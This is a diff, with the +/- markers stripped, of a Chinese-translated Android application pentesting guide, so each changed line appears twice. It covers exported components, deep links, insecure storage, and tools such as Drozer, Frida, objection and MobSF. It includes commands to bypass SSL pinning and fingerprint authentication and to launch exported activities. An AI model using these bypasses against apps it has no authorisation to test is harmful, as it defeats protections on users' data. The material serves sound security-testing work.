* **备份设置**:处理敏感信息的应用程序应明确设置 `android:allowBackup="false"` 属性,以防止通过 adb 进行未经授权的数据备份,特别是在启用 USB 调试时。
* **网络安全**_res/xml/_ 中的自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
* **导出活动和服务**:在清单中识别导出的活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
* **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应受到审查。
* **广播接收器和 URL 方案**:这些组件可能被利用进行攻击,特别注意 URL 方案如何管理输入漏洞。
* **广播接收器和 URL 方案**:这些组件可能被利用进行攻击,特别注意如何管理 URL 方案以防止输入漏洞。
* **SDK 版本**`minSdkVersion`、`targetSDKVersion` 和 `maxSdkVersion` 属性指示支持的 Android 版本,强调出于安全原因不支持过时、易受攻击的 Android 版本的重要性。
**strings.xml** 文件中,可以发现敏感信息,如 API 密钥、自定义模式和其他开发者注释,强调了对这些资源进行仔细审查的必要性。
@ -105,7 +105,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### Tapjacking
**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**定位在受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\
实际上,它是**让用户知道他们实际上是在对受害者应用程序执行操作**。
实际上,它是**让用户无法知道他们实际上是在对受害者应用程序执行操作**。
在这里找到更多信息:
@ -115,7 +115,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### 任务劫持
一个**活动**,其**`launchMode`** 设置为**`singleTask`**,且未定义任何 `taskAffinity`,易受任务劫持。这意味着,可以安装一个**应用程序**,如果在真实应用程序之前启动,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
一个**活动**如果**`launchMode`** 设置为 **`singleTask`** 且没有定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,一个**应用程序**可以被安装,如果在真实应用程序之前启动,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
更多信息在:
@ -127,7 +127,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
**内部存储**
在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统**强制**执行,通常足以满足大多数应用程序的安全需求。然而,开发者有时会利`MODE_WORLD_READABLE``MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在恶意应用程序)对这些文件的访问。
在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统**强制**执行,通常足以满足大多数应用程序的安全需求。然而,开发人员有时会使`MODE_WORLD_READABLE``MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在恶意应用程序)对这些文件的访问。
1. **静态分析:**
* **确保**仔细审查 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用。这些模式**可能会暴露**文件给**意外或未经授权的访问**
@ -146,7 +146,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
3. **处理来自外部存储的数据**
* 始终对从外部存储检索的数据**执行输入验证**。这至关重要,因为数据来自不受信任的来源。
* 强烈不建议在外部存储上存储可执行文件或类文件以进行动态加载。
* 如果您的应用程序必须从外部存储检索可执行文件,请确保这些文件在动态加载之前**已签名并经过加密验证**。此步骤对于维护应用程序的安全完整性至关重要。
* 如果您的应用程序必须从外部存储检索可执行文件,请确保这些文件在动态加载之前**经过签名和加密验证**。此步骤对于维护应用程序的安全完整性至关重要。
外部存储可以在 `/storage/emulated/0`、`/sdcard`、`/mnt/sdcard` 中访问。
@ -163,7 +163,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
**接受所有证书**
出于某种原因,有时开发会接受所有证书,即使例如主机名与以下代码行不匹配:
出于某种原因,有时开发人员会接受所有证书,即使例如主机名与以下代码行不匹配:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -174,7 +174,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
**Poor Key Management Processes**
一些开发者将敏感数据保存在本地存储中,并用代码中硬编码/可预测的密钥进行加密。这是不应该的,因为一些反向工程可能允许攻击者提取机密信息。
一些开发者将敏感数据保存在本地存储中,并使代码中硬编码/可预测的密钥进行加密。这是不应该的,因为一些反向工程可能允许攻击者提取机密信息。
**Use of Insecure and/or Deprecated Algorithms**
@ -239,7 +239,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -258,7 +258,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## Dynamic Analysis
> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
> 首先您需要一个可以安装应用程序和所有环境主要是Burp CA证书、Drozer和Frida的环境。因此强烈建议使用已root的设备无论是模拟的还是非模拟的
### Online Dynamic analysis
@ -281,52 +281,52 @@ Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emu
[avd-android-virtual-device.md](avd-android-virtual-device.md)
{% endcontent-ref %}
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
* [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版本:**个人版您需要创建一个帐户。_建议下载**带有**_**VirtualBox**的版本以避免潜在错误。_)
* [**Nox**](https://es.bignox.com) (免费但不支持Frida或Drozer)。
{% hint style="info" %}
When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
创建新模拟器时,请记住屏幕越大,模拟器运行越慢。因此,如果可能,请选择小屏幕。
{% endhint %}
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
要在Genymotion中**安装谷歌服务**如AppStore您需要单击以下图像中红色标记的按钮
![](<../../.gitbook/assets/image (277).png>)
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
此外请注意在Genymotion的**Android VM配置中**,您可以选择**桥接网络模式**如果您将从不同的VM连接到Android VM并使用工具这将非常有用
#### Use a physical device
You need to activate the **debugging** options and it will be cool if you can **root** it:
您需要激活**调试**选项,如果您能**root**它,那就更好了:
1. **Settings**.
2. (FromAndroid 8.0) Select **System**.
3. Select **About phone**.
4. Press **Build number** 7 times.
5. Go back and you will find the **Developer options**.
1. **设置**。
2. 从Android 8.0开始)选择**系统**。
3. 选择**关于手机**。
4. 按**构建号**7次。
5. 返回,您将找到**开发者选项**。
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
> 一旦您安装了应用程序,您应该做的第一件事是尝试它并调查它的功能、工作原理,并熟悉它。\
> 我建议使用MobSF动态分析+pidcat执行此初步动态分析这样我们就可以在MobSF**捕获**大量**有趣的**数据时**了解应用程序的工作原理**,您可以稍后查看。
### Unintended Data Leakage
**Logging**
开发者应谨慎公开**调试信息**,因为这可能导致敏感数据泄露。推荐使用工具[**pidcat**](https://github.com/JakeWharton/pidcat)和`adb logcat`来监控应用程序日志,以识别和保护敏感信息。**Pidcat**因其易用性和可读性而受到青睐。
开发者应谨慎公开**调试信息**,因为这可能导致敏感数据泄露。推荐使用工具[**pidcat**](https://github.com/JakeWharton/pidcat)和`adb logcat`来监控应用程序日志,以识别和保护敏感信息。**Pidcat**因其易用性和可读性而受到青睐。
{% hint style="warning" %}
注意,从**Android 4.0 及更高版本**开始,**应用程序只能访问自己的日志**。因此,应用程序无法访问其他应用的日志。\
注意,从**Android 4.0及更高版本**开始,**应用程序只能访问自己的日志**。因此,应用程序无法访问其他应用的日志。\
无论如何,仍然建议**不要记录敏感信息**。
{% endhint %}
**Copy/Paste Buffer Caching**
Android的**基于剪贴板**的框架使应用程序能够实现复制粘贴功能,但也带来了风险,因为**其他应用程序**可以**访问**剪贴板,可能会暴露敏感数据。对于应用程序的敏感部分,如信用卡信息,至关重要的是**禁用复制/粘贴**功能,以防止数据泄露。
Android的**基于剪贴板**的框架使应用程序能够实现复制粘贴功能,但也带来了风险,因为**其他应用程序**可以**访问**剪贴板,可能会暴露敏感数据。对于应用程序的敏感部分(如信用卡详细信息),至关重要的是**禁用复制/粘贴**功能,以防止数据泄露。
**Crash Logs**
如果应用程序**崩溃**并**保存日志**这些日志可能会帮助攻击者特别是当应用程序无法被反向工程时。为了降低这种风险避免在崩溃时记录日志如果必须通过网络传输日志确保通过SSL通道发送以确保安全。
如果应用程序**崩溃**并**保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低这种风险,避免在崩溃时记录日志,如果必须通过网络传输日志,确保通过SSL通道发送以确保安全。
作为渗透测试者,**尝试查看这些日志**。
作为渗透测试者,**查看这些日志**。
**Analytics Data Sent To 3rd Parties**
@ -334,33 +334,33 @@ Android的**基于剪贴板**的框架使应用程序能够实现复制粘贴功
### SQLite DBs
大多数应用程序将使用**内部SQLite数据库**来保存信息。在渗透测试期间,查看创建的**数据库**、**表**和**列**的名称以及所有保存的**数据**,因为你可能会发现**敏感信息**(这将是一个漏洞)。\
数据库应位于`/data/data/the.package.name/databases`,如`/data/data/com.mwr.example.sieve/databases`
大多数应用程序将使用**内部SQLite数据库**来保存信息。在渗透测试期间,请**查看**创建的**数据库**、**表**和**列**的名称以及所有保存的数据,因为您可能会发现**敏感信息**(这将是一个漏洞)。\
数据库应位于`/data/data/the.package.name/databases`如`/data/data/com.mwr.example.sieve/databases`
如果数据库保存机密信息并且是**加密的**但可以在应用程序中**找到**密码,这仍然是一个**漏洞**。
如果数据库保存机密信息并且是**加密的**但可以在应用程序中**找到**密码,这仍然是一个**漏洞**。
使用`.tables`列出表,使用`.schema <table_name>`列出表的列
使用`.tables`枚举表,使用`.schema <table_name>`枚举表的列。
### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Androids Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
Drozer是一个有用的工具可以**利用导出活动、导出服务和内容提供者**正如你将在以下部分中学习的那样
来自[Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)**Drozer**允许您**假装成一个Android应用程序**并与其他应用程序交互。它可以做**任何已安装应用程序可以做的事情**例如利用Android的进程间通信IPC机制并与底层操作系统交互。\
Drozer是一个有用的工具可以**利用导出活动、导出服务和内容提供者**您将在以下部分中学习
### Exploiting exported Activities
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
也请记住,活动的代码从**`onCreate`**方法开始。
[**如果您想刷新一下什么是Android活动请阅读此内容。**](android-applications-basics.md#launcher-activity-and-other-activities)\
还要记住,活动的代码从**`onCreate`**方法开始。
**Authorisation bypass**
当一个活动被导出时,你可以从外部应用调用它的界面。因此,如果一个包含**敏感信息**的活动被**导出**,你可能会**绕过**访问它的**认证**机制
当一个活动被导出时,您可以从外部应用程序调用其屏幕。因此,如果一个包含**敏感信息**的活动被**导出**,您可以**绕过****身份验证**机制**以访问它**
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities)
[**了解如何利用导出活动与Drozer。**](drozer-tutorial/#activities)
你也可以从adb启动一个导出的活动:
您还可以从adb启动导出活动:
* PackageName是com.example.demo
* Exported ActivityName是com.example.test.MainActivity
* 包名是com.example.demo
* 导出活动名称是com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
@ -376,26 +376,26 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
#### Tapjacking
如果没有防止tapjacking你可以利用导出的活动使**用户执行意外操作**。有关[**什么是Tapjacking的更多信息访问此链接**](./#tapjacking)。
如果没有防止tapjacking你可能会滥用导出的活动使**用户执行意外操作**。有关[**什么是Tapjacking的更多信息查看链接**](./#tapjacking)。
### 利用内容提供者 - 访问和操纵敏感信息
[**如果你想刷新什么是内容提供者,请阅读此内容。**](android-applications-basics.md#content-provider)\
[**如果你想刷新什么是内容提供者,请阅读这个。**](android-applications-basics.md#content-provider)\
内容提供者基本上用于**共享数据**。如果一个应用程序有可用的内容提供者,你可能能够**提取敏感**数据。测试可能的**SQL注入**和**路径遍历**也很有趣,因为它们可能存在漏洞。
[**学习如何使用Drozer利用内容提供者。**](drozer-tutorial/#content-providers)
### **利用服务**
[**如果你想刷新什么是服务,请阅读此内容。**](android-applications-basics.md#services)\
[**如果你想刷新什么是服务,请阅读这个。**](android-applications-basics.md#services)\
请记住,服务的操作始于方法`onStartCommand`。
服务基本上是可以**接收数据**、**处理**它并**返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,你应该**检查**代码以了解它在做什么,并**动态测试**以提取机密信息、绕过身份验证措施...\
服务基本上是可以**接收数据**、**处理**它并**返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,你应该**检查**其**代码**以了解它在做什么,并**动态测试**以提取机密信息、绕过身份验证措施...\
[**学习如何使用Drozer利用服务。**](drozer-tutorial/#services)
### **利用广播接收器**
[**如果你想刷新什么是广播接收器,请阅读此内容。**](android-applications-basics.md#broadcast-receivers)\
[**如果你想刷新什么是广播接收器,请阅读这个。**](android-applications-basics.md#broadcast-receivers)\
请记住,广播接收器的操作始于方法`onReceive`。
广播接收器将等待某种类型的消息。根据接收器如何处理消息,它可能会存在漏洞。\
@ -403,7 +403,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
### **利用方案/深度链接**
你可以手动查找深度链接使用像MobSF这样的工具或像[这个](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)的脚本。\
你可以手动查找深度链接使用像MobSF这样的工具或像[这个脚本](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)。\
你可以使用**adb**或**浏览器**打开声明的**方案**
{% code overflow="wrap" %}
@ -436,11 +436,11 @@ _请注意您可以**省略包名**,手机将自动调用应该打开该链
**路径中的参数**
您**还必须检查任何深度链接是否在 URL 的路径中使用参数**,例如:`https://api.example.com/v1/users/{username}`,在这种情况下,您可以强制路径遍历,访问类似于:`example://app/users?username=../../unwanted-endpoint%3fparam=value`。\
请注意,如果您在应用程序中找到正确的端点,您可能能够导致**开放重定向**(如果路径的一部分用作域名)**账户接管**(如果您可以在没有 CSRF 令牌的情况下修改用户详细信息,并且漏洞端点使用了正确的方法)以及任何其他漏洞。更多[信息在这里](http://dphoeniixx.com/2020/12/13-2/)。
请注意,如果您在应用程序中找到正确的端点,您可能能够导致**开放重定向**(如果路径的一部分用作域名)**账户接管**(如果您可以在没有 CSRF 令牌的情况下修改用户详细信息,并且漏洞端点使用了正确的方法)以及任何其他漏洞。更多[信息在这里](http://dphoeniixx.com/2020/12/13-2/)。
**更多示例**
一个[有趣的漏洞赏金报告](https://hackerone.com/reports/855618)关于链接 (_/.well-known/assetlinks.json_)
一个[有趣的漏洞赏金报告](https://hackerone.com/reports/855618)关于链接_/.well-known/assetlinks.json_
### 传输层检查和验证失败
@ -458,15 +458,15 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
#### 流量检查
要检查 HTTP 流量,必须**安装代理工具的证书**例如Burp。如果不安装此证书经过代理的加密流量可能不可见。有关安装自定义 CA 证书的指南,[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
要检查 HTTP 流量,必须**安装代理工具的证书**例如Burp。如果不安装此证书加密流量可能无法通过代理可见。有关安装自定义 CA 证书的指南,[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
针对**API Level 24 及以上**的应用程序需要修改网络安全配置以接受代理的 CA 证书。这一步对于检查加密流量至关重要。有关修改网络安全配置的说明,[**请参考此教程**](make-apk-accept-ca-certificate.md)。
#### 绕过 SSL 钉扎
当实施 SSL 钉扎时,绕过它变得必要,以检查 HTTPS 流量。为此有多种方法可用:
当实施 SSL 钉扎时,绕过它成为检查 HTTPS 流量的必要步骤。为此有多种方法可用:
* 自动**修改** **apk**以**绕过** SSLPinning,使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是,您无需 root 即可绕过 SSL 钉扎,但您需要删除应用程序并重新安装新版本,这并不总是有效。
* 自动**修改** **apk**以**绕过** SSL 钉扎,使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是,您无需 root 即可绕过 SSL 钉扎,但您需要删除应用程序并重新安装新版本,这并不总是有效。
* 您可以使用**Frida**(下面讨论)来绕过此保护。这里有一个使用 Burp+Frida+Genymotion 的指南:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
* 您还可以尝试使用[**objection**](frida-tutorial/objection-tutorial.md)**自动绕过 SSL 钉扎**`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* 您还可以尝试使用**MobSF 动态分析**(下面解释)**自动绕过 SSL 钉扎**
@ -478,7 +478,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
### Frida
[Frida](https://www.frida.re) 是一个动态插桩工具包,供开发人员、逆向工程师和安全研究人员使用。\
[Frida](https://www.frida.re)是一个动态插桩工具包,供开发人员、逆向工程师和安全研究人员使用。\
**您可以访问正在运行的应用程序并在运行时挂钩方法以更改行为、更改值、提取值、运行不同的代码...**\
如果您想对 Android 应用程序进行渗透测试,您需要知道如何使用 Frida。
@ -521,7 +521,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **指纹/生物识别绕过**
使用以下 Frida 脚本,可以**绕过指纹认证**Android 应用可能会执行此操作以**保护某些敏感区域:**
使用以下 Frida 脚本,可能可 **绕过指纹认证**Android 应用程序可能会执行此操作以 **保护某些敏感区域:**
{% code overflow="wrap" %}
```bash
@ -531,51 +531,51 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
### **背景图像**
当您将应用程序置于后台时Android 会存储应用程序的 **快照**以便在恢复到前台时,它会在应用程序之前开始加载图像,因此看起来应用程序加载得更快。
当您将应用程序置于后台时Android 会存储应用程序的 **快照**因此当它恢复到前台时,它会在应用程序加载之前开始加载图像,因此看起来应用程序加载得更快。
然而,如果这个快照包含 **敏感信息**,那么有权限访问快照的人可能会 **窃取这些信息**(请注意,您需要 root 权限才能访问它)。
快照通常存储在:**`/data/system_ce/0/snapshots`**
Android 提供了一种方法,通过设置 FLAG\_SECURE 布局参数来 **防止截图捕获**。使用此标志时,窗口内容被视为安全,防止其出现在截图中或在不安全的显示器上查看。
Android 提供了一种方法**通过设置 FLAG\_SECURE** 布局参数来防止屏幕截图捕获。通过使用这个标志,窗口内容被视为安全,防止其出现在屏幕截图中或在不安全的显示器上查看。
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android 应用分析器**
### **Android 应用程序分析器**
此工具可以帮助您在动态分析期间管理不同的工具:[https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
### 意图注入
### Intent 注入
开发人员经常创建代理组件,如活动、服务和广播接收器,这些组件处理这些意图并将其传递给 `startActivity(...)``sendBroadcast(...)` 等方法,这可能是有风险的。
开发人员经常创建代理组件,如活动、服务和广播接收器,这些组件处理这些 Intents 并将其传递给 `startActivity(...)``sendBroadcast(...)` 等方法,这可能是有风险的。
危险在于允许攻击者通过错误引导这些意图来触发未导出的应用组件或访问敏感内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象,然后执行它们,这可能导致恶意意图注入。
危险在于允许攻击者通过错误引导这些 Intents 来触发未导出的应用组件或访问敏感内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象,然后执行它们,这可能导致恶意 Intent 注入。
### 重要要点
* **意图注入** 类似于网络的开放重定向问题。
* 利用涉及将 `Intent` 对象作为附加项传递,这可能被重定向以执行不安全的操作。
* **Intent 注入** 类似于网络的开放重定向问题。
* 利用涉及将 `Intent` 对象作为额外参数传递,这可能被重定向以执行不安全的操作。
* 它可以将未导出的组件和内容提供者暴露给攻击者。
* `WebView` 的 URL 到 `Intent` 转换可以促进意外操作。
* `WebView` 的 URL 到 `Intent` 转换可以促进意外操作。
### Android 客户端侧注入及其他
您可能已经知道这种类型的漏洞来自网络。您必须特别小心 Android 应用中的这些漏洞:
您可能已经知道这种类型的漏洞来自网络。您必须特别小心 Android 应用程序中的这些漏洞:
* **SQL 注入:** 在处理动态查询或内容提供者时,确保使用参数化查询。
* **JavaScript 注入 (XSS)** 验证任何 WebViews 的 JavaScript 和插件支持是否已禁用(默认禁用)。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
* **本地文件包含:** WebViews 应禁用对文件系统的访问(默认启用) - `(webview.getSettings().setAllowFileAccess(false);)`。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
* **持久性 Cookie** 在多个情况下,当 Android 应用结束会话时Cookie 并未被撤销,甚至可能被保存到磁盘。
* **持久性 Cookie** 在多个情况下,当 Android 应用程序结束会话时Cookie 不会被撤销,或者甚至可能被保存到磁盘。
* [**Cookie 中的安全标志**](../../pentesting-web/hacking-with-cookies/#cookies-flags)
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客见解**\
参与深入探讨黑客的刺激挑战的内容
参与深入探讨黑客的刺激挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
@ -593,7 +593,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
![](<../../.gitbook/assets/image (866).png>)
**使用漂亮的基于 Web 的前端进行应用程序的漏洞评估**。您还可以执行动态分析(但您需要准备环境)。
**使用漂亮的基于 Web 的前端进行应用程序的漏洞评估。** 您还可以执行动态分析(但您需要准备环境)。
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -619,14 +619,14 @@ MobSF 还允许您进行 **diff/比较** 分析,并集成 **VirusTotal**(您
默认情况下,它还将使用一些 Frida 脚本来 **绕过 SSL 钉扎**、**根检测** 和 **调试器检测**,并 **监控有趣的 API**。\
MobSF 还可以 **调用导出活动**,抓取它们的 **屏幕截图****保存** 到报告中。
**开始** 动态测试,请按绿色按钮:“**开始仪器化**”。按下“**Frida 实时日志**”以查看 Frida 脚本生成的日志,按下“**实时 API 监视器**”以查看所有调用的挂钩方法、传递的参数和返回值(在按下“开始仪器化”后出现)。\
**开始** 动态测试,请按绿色按钮:“**开始仪器化**”。按下“**Frida 实时日志**”以查看 Frida 脚本生成的日志,按下“**实时 API 监视器**”以查看所有调用的挂钩方法、传递的参数和返回值(这将在按下“开始仪器化”后出现)。\
MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本的结果发送到 MobSF请使用函数 `send()`)。它还具有 **多个预编写的脚本**,您可以加载(您可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需 **选择它们**,按“**加载**”并按“**开始仪器化**”(您将能够在“**Frida 实时日志**”中看到该脚本的日志)。
![](<../../.gitbook/assets/image (419).png>)
此外,您还有一些辅助 Frida 功能:
* **枚举加载的类**:它将打印所有加载的类
* **枚举加载的类**:它将打印所有加载的类
* **捕获字符串**:它将打印在使用应用程序时捕获的所有字符串(非常嘈杂)
* **捕获字符串比较**:可能非常有用。它将 **显示正在比较的两个字符串** 以及结果是 True 还是 False。
* **枚举类方法**:输入类名(如 "java.io.File"),它将打印该类的所有方法。
@ -648,10 +648,10 @@ receivers
```
**HTTP工具**
HTTP流量被捕获时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或者在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送**捕获的**请求**到像Burp或Owasp ZAP这样的**代理**。\
要做到这一点_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按下“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
http流量被捕获时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或者在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送**捕获的**请求**到像Burp或Owasp ZAP这样的**代理**。\
为此_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按下“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
完成MobSF的动态分析后您可以按“**Start Web API Fuzzer**”来**模糊HTTP请求**并寻找漏洞。
完成MobSF的动态分析后您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。
{% hint style="info" %}
在使用MobSF进行动态分析后代理设置可能会配置错误您将无法从GUI中修复它们。您可以通过以下方式修复代理设置
@ -663,17 +663,17 @@ adb shell settings put global http_proxy :0
### Assisted Dynamic Analysis with Inspeckage
您可以从 [**Inspeckage**](https://github.com/ac-pm/Inspeckage) 获取该工具。\
该工具将使用一些 **Hooks** 让您了解 **在应用程序中发生了什么**,同时您执行 **动态分析**。
该工具将使用一些 **Hooks** 让您了解 **在执行动态分析时应用程序中发生了什么**。
### [Yaazhini](https://www.vegabird.com/yaazhini/)
这是一个 **使用 GUI 进行静态分析的好工具**
这是一个 **用于执行带GUI的静态分析的优秀工具**
![](<../../.gitbook/assets/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
该工具旨在查找多个 **与安全相关的 Android 应用程序漏洞**,无论是在 **源代码** 还是 **打包的 APK** 中。该工具还 **能够创建可部署的 "概念验证" APK** 和 **ADB 命令**以利用一些发现的漏洞暴露的活动、意图、tapjacking...)。与 Drozer 一样,无需对测试设备进行 root。
该工具旨在查找多个 **与安全相关的Android应用程序漏洞**,无论是在 **源代码** 还是 **打包的APK** 中。该工具还 **能够创建可部署的“概念验证”APK** 和 **ADB命令**以利用一些发现的漏洞暴露的活动、意图、tapjacking...。与Drozer一样无需对测试设备进行root。
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -685,7 +685,7 @@ qark --java path/to/specific/java/file.java
* 显示所有提取的文件以便于参考
* 自动将APK文件反编译为Java和Smali格式
* 分析AndroidManifest.xml以查找常见漏洞和行为
* 对常见漏洞和行为进行静态源代码分析
* 静态源代码分析以查找常见漏洞和行为
* 设备信息
* 以及更多
```bash
@ -693,7 +693,7 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER 是一个可以在 Windows、MacOS X 和 Linux 使用的命令行应用程序,旨在分析 _.apk_ 文件以寻找漏洞。它通过解压 APK 并应用一系列规则来检测这些漏洞。
SUPER 是一个可以在 Windows、MacOS X 和 Linux 使用的命令行应用程序,旨在分析 _.apk_ 文件以寻找漏洞。它通过解压 APK 并应用一系列规则来检测这些漏洞。
所有规则都集中在一个 `rules.json` 文件中,每个公司或测试人员都可以创建自己的规则来分析他们所需的内容。
@ -735,7 +735,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../.gitbook/assets/image (595).png>)
**MARA** 是一个 **M**obile **A**pplication **R**everse engineering 和 **A**nalysis Framework。它是一个将常用的移动应用程序逆向工程和分析工具整合在一起的工具旨在帮助测试移动应用程序以应对 OWASP 移动安全威胁。其目标是使这一任务对移动应用程序开发和安全专业人员更加简单和友好。
**MARA** 是一个 **M**obile **A**pplication **R**everse engineering 和 **A**nalysis Framework。它是一个将常用的移动应用程序逆向工程和分析工具整合在一起的工具旨在帮助测试移动应用程序以应对 OWASP 移动安全威胁。其目标是使这一任务对移动应用程序开发人员和安全专业人员更加简单和友好。
它能够:
@ -762,15 +762,15 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
### [DexGuard](https://www.guardsquare.com/dexguard)
在 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) 找到逐步指南以去混淆 apk
在 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) 找到去混淆 APK 的逐步指南。
